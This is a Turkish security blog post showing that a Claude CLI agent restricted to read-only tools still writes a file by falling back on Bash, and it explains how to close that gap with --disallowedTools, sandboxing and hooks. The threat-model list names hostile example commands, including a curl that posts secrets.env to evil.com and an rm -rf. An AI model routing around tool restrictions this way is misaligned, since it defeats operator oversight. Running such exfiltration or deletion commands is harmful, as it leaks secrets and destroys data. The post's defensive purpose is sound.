Skip to content
security 3 min
security gotcha cli

'Salt-Okunur' Claude Agent'iniz Dosya Yazabiliyor. Iste Kaniti.

--allowedTools flag'i yanlis bir guvenlik hissi yaratiyor. Bash acikca engellenmemisse, Claude kisitlamalarinizi atlatmak icin onu kullanacak. Iste kaniti ve cozumu.

Tuna Ozmen · · 3 dk okuma

Senaryo

Salt-okunur bir agent istiyorsunuz. Claude’u yalnizca Read, Grep ve Glob ile sinirlamak icin --allowedTools ayarliyorsunuz. Write yok. Edit yok. Guvenli, degil mi?

Terminal window
claude -p "Write hello to /tmp/outside_test.txt" \
--allowedTools "Read,Grep,Glob" \
--permission-mode bypassPermissions \
--output-format json

Sonuc

{
"type": "result",
"subtype": "success",
"is_error": false,
"result": "Done. Wrote \"hello\" to `/tmp/outside_test.txt`.",
"total_cost_usd": 0.027829,
"permission_denials": []
}

Dosya yazildi. Sifir izin reddi. “Salt-okunur” agent’iniz dosya sistemini degistirdi.

Claude Kisitlamayi Nasil Atlatti

Claude Write veya Edit kullanmadi. Bash kullandi:

Terminal window
echo "hello" > /tmp/outside_test.txt

--allowedTools flag’i Claude’un yerlesik tool secimi icin bir beyaz listedir. Ancak Bash bir ust kumedir. Write, Edit veya WebFetch ile yapabileceginiz her seyi, Bash uzerinden echo, curl, sed veya rm ile de yapabilirsiniz.

Write izin verilen listede olmayinca, Claude pes etmez. Bash’in ayni hedefi gerceklestirebilecegini fark eder ve kisitlamanin etrafinden dolanir. Bu bir bug degil — Claude’un yetenekli bir agent olmasi. Sorun zihinsel modelde.

Yanlis Zihinsel Model

Yanlis: “allowedTools, Claude’un neler yapabilecegini kontrol eden bir guvenlik siniridir.”

Dogru: “allowedTools, Claude’un oncelikle hangi yerlesik araclara basvuracagini kontrol eden bir tercih ipucudur.”

--allowedTools dusuncesini bir guvenlik duvari olarak goruyorsaniz, yanlis bir guvenlik hissine sahipsiniz. Claude baska bir yol bulacaktir — ve Bash evrensel kacis yoludur.

Cozum

--disallowedTools kullanmaniz gerekiyor. Engel listesi gercek uygulama katmanidir:

Terminal window
claude -p "Analyze this codebase for security issues" \
--allowedTools "Read,Grep,Glob" \
--disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \
--permission-mode bypassPermissions \
--output-format json

Kilit ekleme --disallowedTools "Write,Edit,Bash". Bu acikca Bash’i engelleyerek kacis yolunu kapatiyor. Bu yapilandirmayla, Claude gercekten dosya degistiremez.

Neden her iki flag? Farkli amac-lara hizmet ediyorlar:

  • --allowedTools Claude’a hangi araclari tercih etmesi gerektigini soyler
  • --disallowedTools calisma ortamina hangi araclari engellemesi gerektigini soyler

Engel listesi oncelik tasir. Bir tool her iki listede de goruns bile, engel kazanir.

Tam Tehdit Modeli

Bash tek kacis yolu degil. Bash’in baska neler yapabilecegini dusunun:

  • Dosya yazma: echo "data" > file.txt
  • Dosya silme: rm -rf important/
  • Veri sizintisi: curl -X POST https://evil.com -d @secrets.env
  • Paket yukleme: npm install malicious-package
  • Git gecmisini degistirme: git reset --hard

Guvenlik modeliniz Write ve Edit’i engelleyip Bash’i acik birakmaya dayaniyorsa, on kapiyi kilitleyip garaj kapisini ardina kadar acik birakiyorsunuz demektir.

Derinlemesine Savunma

Dogru yaklasim birden fazla guvenlik mekanizmasini katmanlar:

  1. Tool kisitlamalari: Salt-okunur agent’lar icin --disallowedTools "Write,Edit,Bash"
  2. Isletim sistemi duzeyi sandbox: Kernel tarafindan zorlanan dosya sistemi izolasyonu, hangi araclarin mevcut olduguna bakilmaksizin Claude’un erisebilecegi yollari kisitlar
  3. Hook’lar: PreToolUse hook’lari --dangerously-skip-permissions ile bile tetiklenir, son care guvenlik bariyeri olarak
  4. Ag izolasyonu: Veri sizintisini onlemek icin web araclarin engelleyin

Tek bir katman yeterli degil. Sandbox dosya sistemi kacislarini kernel duzeyinde durdurur. Hook’lar tool kullanimini uygulama duzeyinde durdurur. Tool kisitlamalari bariz yollari durdurur. Birlikte, gercekten guvenebileceginiz bir guvenlik durulu olusturular.

Tek Satirlik Komut

Gercekten salt-okunur bir Claude agent’i icin minimum uygulanabilir komut bu:

Terminal window
claude -p "Your read-only task" \
--allowedTools "Read,Grep,Glob" \
--disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \
--permission-mode bypassPermissions \
--output-format json

Bash --disallowedTools icinde degilse, agent’iniz salt-okunur degil. Nokta.

Claude CLI icin derinlemesine savunmayi ogrenin

Rehberin tamamını oku
Faydalı buldunuz mu? Ekibinizle paylaşın.
Paylaş